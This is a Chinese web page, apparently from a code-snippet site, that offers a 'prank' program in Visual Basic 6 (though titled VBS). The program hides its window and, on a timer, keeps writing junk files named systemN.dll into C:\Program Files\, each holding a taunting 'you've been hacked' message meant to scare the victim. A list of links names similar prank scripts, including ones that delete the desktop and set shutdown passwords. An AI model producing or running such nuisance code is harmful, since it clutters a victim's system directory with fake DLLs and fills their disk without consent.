vbs恶作剧(整人代码)-写入大量的垃圾文件，吓哭他
----好东西哦，快来点哦
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
'声明变量，其中“count”为静态变量，以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'定义要把生成的文件存放在那个目录文件下
c = "C:\Program Files\"
'生成文件的内容
nr = "哈哈，被黑的感觉的不错吧"
files = FreeFile
'如果a等于a那么就执行
If a = a Then
'count不断的加1，以便产生不同的文件名
count = count + 1
'产生文件名及文件句柄，并用count作为产生不同的文件名。
Open c & "system" & count & ".dll" For Append As #files
'向文件写内容
Write #files, nr
'清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示
Close #files
End If
End Sub
您可能感兴趣的文章：
vbs恶作剧(整人代码)-写入大量的垃圾文件，吓哭他
vbs恶作剧(整人代码)-感人的文章(我是猪)
vbs恶作剧(整人代码)-让他承认自己是大傻B
vbs整人代码-2009QQ整人代码
vbs恶作剧(整人代码)-死循环 讲故事等
vbs恶作剧(整人代码)-删除桌面 关机密码 关机前打开多个窗口等
vbs恶作剧(整人代码)-网页整人效果
Google清洗中文搜索引擎垃圾 二级域名锐减
java内存释放的深入理解
访问外部文本文件的vbs方法及例子